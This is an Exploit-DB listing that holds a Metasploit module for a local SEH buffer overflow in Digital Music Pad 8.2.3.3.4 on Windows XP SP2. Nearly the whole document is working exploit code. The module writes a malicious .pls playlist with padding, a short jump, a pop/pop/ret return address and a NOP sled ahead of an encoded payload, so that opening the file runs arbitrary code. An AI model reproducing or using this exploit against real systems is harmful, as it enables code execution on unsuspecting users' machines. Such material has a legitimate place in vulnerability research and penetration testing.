Digital Music Pad 8.2.3.3.4 - Local Overflow (SEH) (Metasploit)

Author: Abhishek Lyall
type: local
platform: windows
port: 
date_added: 2010-09-27  
date_updated: 2010-10-03  
verified: 1  
codes:   
tags: Metasploit Framework (MSF)  
aliases:   
screenshot_url: http://www.exploit-db.com/screenshots/idlt15500/15134.png  
application_url: http://www.exploit-db.comDigitalMusicPad82334Setup.exe  

raw file: 15134.rb  
#Digital Music Pad Version 8.2.3.3.4 SEH overflow Metasploit Module
#Author Abhishek Lyall - abhilyall[at]gmail[dot]com, info[at]aslitsecurity[dot]com
#Web - http://www.aslitsecurity.com/
#Blog - http://www.aslitsecurity.blogspot.com/
#Download Vulnerable application from http://www.e-soft.co.uk/DigitalMusicPad82334Setup.exe
#Vulnerable versionDigital Music Pad Version 8.2.3.3.4
#Tested on XP SP2
#Greets Corelan Team, Puneet Jain ASL IT SECURITY TEAM
#!/usr/bin/python



require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name' => 'Digital Music Pad Version 8.2.3.3.4 SEH overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Digital Music Pad Version 8.2.3.3.4
				When opening a malicious pls file with the Digital Music Pad,
				a remote attacker could overflow a buffer and execute
				arbitrary code.
			},

            'License' => MSF_LICENSE,
            'Author' => 'Abhishek Lyall',
            'References' =>
                [
                    [ 'OSVDB', '' ],

                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload' =>
                {
                    'Space' => 4720,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'DisableNops' => 'True',
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows XP SP2', { 'Ret' => 0x73421DEF} ], # p/p/r msvbvm60.dll

                ],
            'Privileged' => false,
            'DefaultTarget' => 0))

        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'msf.pls']),
            ], self.class)
    end


    def exploit


	    sploit = "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0D\x0A\x46\x69\x6C\x65\x31\x3D" #PLS Header
        sploit << rand_text_alphanumeric(260)
        sploit << "\xeb\x06\x90\x90"            # short jump 6 bytes
        sploit << [target.ret].pack('V')
        sploit << "\x90" * 12                   # nop sled
        sploit << payload.encoded
		sploit << "\x90" * (4720 - payload.encoded.length)

        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(sploit)

    end

end